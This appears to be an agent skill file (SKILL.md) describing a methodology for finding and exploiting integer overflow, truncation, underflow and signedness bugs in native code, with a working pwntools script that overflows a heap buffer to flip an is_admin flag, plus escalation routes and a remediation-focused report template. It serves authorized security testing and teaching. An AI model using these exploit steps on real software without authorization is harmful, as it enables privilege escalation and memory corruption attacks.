exploiting-integer-overflow-vulnerabilities

$npx mdskill add xalgord/xalgorix/exploiting-integer-overflow-vulnerabilities

- During authorized assessments of native code (C/C++/Rust/Go) where attacker-controlled integers feed size, length, count, index, or offset calculations. - When an allocation size is computed from arithmetic (`count * elem_size`, `len - header`, `size + padding`) that can wrap, producing an **undersized buffer** later written with the logical (un-wrapped) size — a classic integer-overflow-to-heap-overflow chain. - When a length/bounds check uses a narrow type (e.g. 1-byte size field) that can be overflowed to bypass validation while the real copy uses a larger value. - When signed/unsigned confusion causes a negative input to be treated as a huge positive size.

SKILL.md

.github/skills/exploiting-integer-overflow-vulnerabilitiesView on GitHub ↗
---
name: exploiting-integer-overflow-vulnerabilities
description: Methodology for finding and exploiting integer overflow, underflow, truncation, and signedness bugs in native
  code during authorized engagements, focusing on how wrapped arithmetic in size/length calculations leads to undersized
  allocations, oversized copies, length-check bypasses, and downstream heap/stack overflows.
domain: cybersecurity
subdomain: binary-exploitation
tags:
- binary-exploitation
- integer-overflow
- exploit-development
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting Integer Overflow Vulnerabilities

## When to Use

- During authorized assessments of native code (C/C++/Rust/Go) where attacker-controlled integers feed size, length,
  count, index, or offset calculations.
- When an allocation size is computed from arithmetic (`count * elem_size`, `len - header`, `size + padding`) that can
  wrap, producing an **undersized buffer** later written with the logical (un-wrapped) size — a classic
  integer-overflow-to-heap-overflow chain.
- When a length/bounds check uses a narrow type (e.g. 1-byte size field) that can be overflowed to bypass validation
  while the real copy uses a larger value.
- When signed/unsigned confusion causes a negative input to be treated as a huge positive size.

## Critical: Concepts/Steps Most Often Missed

- **The overflow itself is rarely the impact — find the dangerous downstream use.** An int wrap is only exploitable when
  the wrapped value sizes an allocation/copy/index. Always trace the tainted integer to a `malloc`, `memcpy`, `read`,
  loop bound, or array index.
- **Truncation across type widths.** `uint32_t product = (uint32_t)(count * elem_size)` can wrap to a tiny value while a
  separate `size_t to_copy = count * elem_size` keeps the full value — allocation is small, copy is huge. Watch every
  cast to a narrower type.
- **Underflow on subtraction is just as dangerous.** `size_t payload = total_len - HEADER` with `total_len < HEADER`
  underflows to a near-`SIZE_MAX` value, turning a "shrink" into an unbounded copy.
- **Signedness.** A signed `int` read with `scanf("%d")` then cast to `unsigned` makes negatives become large positives,
  defeating `if (x > LIMIT)` checks.
- **Alignment/rounding re-introduces overflow after an initial guard.** Custom allocators that pass an initial wrap
  check then do `total += (8 - total) % total` can wrap again for values near `SIZE_MAX`, yielding a tiny chunk
  (e.g. CVE-2025-54957).
- **Go/Rust wrap silently in release/normal builds.** Go has no overflow panic by default; instrument with go-panikint;
  Rust wraps in release unless `overflowing_*`/checked arithmetic is used.

### How to CONFIRM

Instrument and observe the wrap directly. In C, compile a probe with `-fsanitize=integer`/UBSan
(`-fsanitize=signed-integer-overflow,unsigned-integer-overflow`) to get a runtime report at the exact operation. In a
debugger, set a breakpoint after the size computation and inspect the register/variable: confirm the allocation size is
small (e.g. 32) while the copy length is huge (e.g. `0xffffffffffffff f8`). The exploit is confirmed when the undersized
buffer's neighbor (e.g. `is_admin` flag, chunk metadata) is overwritten — verify the target field changed and the
gated/privileged path executes.

## Workflow

### Step 1: Map Attacker-Controlled Integers to Size/Index Sinks

```bash
# Find suspicious arithmetic feeding allocations/copies
grep -nE "malloc|calloc|memcpy|memmove|alloca|\\bread\\b" ./src/*.c
# Look for: size = a*b; size = a+b; size = a-b; (uint32_t)(...); short/int casts
```

Reverse the size computation and the subsequent use; note the type widths at each step (8/16/32/64-bit, signed vs.
unsigned).

### Step 2: Compute the Wrapping Input

```c
// 8-bit wrap: 255 + 1 == 0
// 32-bit truncation: (uint32_t)(0x100000000 * 1) == 0  -> alloc tiny, copy huge
// underflow: (size_t)(8 - 16) == 0xfffffffffffffff8
```

Reference max values: `uint8_t` 255, `uint16_t` 65535, `uint32_t` 4294967295, `uint64_t` 18446744073709551615.
Pick the input that drives the allocation size small while the copy/loop length stays large (or vice-versa).

### Step 3: Trigger the Undersized Allocation + Oversized Write

```python
from pwn import *
io = process('./int_ovf_heap_priv')

# count=2^32 truncates to 0 -> alloc32 = 32, but copy uses full size_t product
io.sendlineafter(b"Entry count: ", b"4294967296")
io.sendlineafter(b"Entry size: ",  b"1")
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# offset_to_sess = 48; overflow 48 bytes then flip is_admin
payload = b"A"*48 + p32(1)
io.send(payload)
io.shutdown("send")           # deliver EOF to stop the read loop
print(io.recvall(timeout=5).decode(errors="ignore"))  # expect admin + FLAG
```

The underflow variant: send `Total packet length: 8` (< HEADER 16) so `payload_len = 8 - 16` underflows to a huge value,
letting a bounded reader walk past the 24-byte gap and flip `is_admin`.

### Step 4: Escalate the Downstream Corruption

Depending on what the undersized buffer is adjacent to:
- **Data-oriented**: flip an adjacent flag/struct field (e.g. `is_admin`) — no control-flow hijack needed (PAC/CFI-safe).
- **Heap metadata**: overwrite the next chunk's size/`fd` and pivot to a heap-exploitation primitive (tcache/fastbin).
- **Stack**: an undersized stack buffer + oversized copy becomes a stack overflow (offset/length-check bypass) — chain
  to ret2win/ROP.
- **Length-check bypass**: a 1-byte size field overflowed so a 260-byte input passes a "length 4" check, then overflows.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Overflow (wrap)** | Result exceeds type max and wraps to a small value (e.g. `255+1 -> 0`). |
| **Underflow** | Unsigned subtraction below 0 wraps to near `SIZE_MAX` (e.g. `8-16 -> 0xff...f8`). |
| **Truncation** | Storing a wide value in a narrower type drops high bits (`(uint32_t)0x100000000 -> 0`). |
| **Signedness confusion** | A signed negative reinterpreted as a large unsigned, bypassing `> LIMIT` checks. |
| **Undersized allocation** | Wrapped size allocates a tiny buffer while a copy uses the full logical size. |
| **Rounding re-wrap** | Alignment math (`total += (8-total)%total`) wraps again after an initial guard. |
| **Length-check bypass** | Overflowing a small size field so an oversized input passes validation. |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **UBSan / -fsanitize=integer** | Pinpoints the exact overflowing operation at runtime in C/C++ probes. |
| **gdb + pwndbg/GEF** | Inspect computed sizes vs. copy lengths, watch the adjacent target field change. |
| **pwntools** | Drive prompts, send wrapping inputs, `p32`/`p64`, `shutdown('send')` for EOF, process/remote IO. |
| **z3** | Solve for inputs satisfying modular-arithmetic constraints (e.g. `a*x mod 2^64 == b`). |
| **go-panikint** | Forked Go toolchain that panics on wrap; surfaces silent Go overflow in fuzzing/CI. |
| **radare2 / Ghidra** | Reverse size computations, identify type widths and the dangerous sink. |
| **AFL++/libFuzzer** | Fuzz size/offset parsers to discover wrap-triggering inputs. |

## Common Scenarios

### Scenario 1: Multiply truncation -> heap overflow
`count*elem_size` truncated to 32 bits allocates 32 bytes, but the copy uses the full 64-bit product, overflowing into an
adjacent `session` struct and flipping `is_admin` to gain privileges.

### Scenario 2: Subtraction underflow -> unbounded copy
`payload_len = total_len - HEADER` with `total_len < HEADER` underflows; a bounded reader still writes far past the
small buffer, overwriting a neighboring flag.

### Scenario 3: 1-byte length field bypass
Only 1 byte stores a password length; overflowing it makes the program believe the length is 4 while it is actually 260,
bypassing the bounds check and overflowing the stack buffer (chain to ret2win).

### Scenario 4: Allocator rounding re-wrap (CVE-2025-54957)
A custom bump allocator passes an initial overflow guard, then `total += (8 - total) % total` wraps for values near
`SIZE_MAX`, returning a tiny chunk; the caller writes `payload_length` attacker bytes past it in a deterministic
per-frame slab.

## Output Format

```
## Integer Overflow Finding

**Vulnerability**: Integer overflow/truncation -> undersized allocation -> heap overflow (CWE-190 / CWE-680)
**Severity**: Critical (privilege escalation / RCE) — depends on adjacent target
**Binary**: ./bundle_importer (parsing of count/elem_size)

### Root Cause
uint32_t product = (uint32_t)(count * elem_size);  // truncates
size_t to_copy   = count * elem_size;              // full value used in copy
Input count=2^32, elem_size=1 -> alloc=32, copy=4294967296.

### Trigger & Proof
Sent 48 'A' + p32(1); overwrote session.is_admin (offset 48); privileged path executed (FLAG printed).

### Impact
Heap buffer overflow corrupting an adjacent privilege flag -> authorization bypass.

### Recommendation
1. Use checked/saturating arithmetic (__builtin_mul_overflow, ckd_add) for all size math.
2. Validate count/size ranges before allocation; reject when product exceeds SIZE_MAX or a sane cap.
3. Use the SAME size value for allocation and copy; avoid narrowing casts in size paths.
4. Compile with -fsanitize=integer in CI and fuzz size/offset parsers.
```

More from xalgord/xalgorix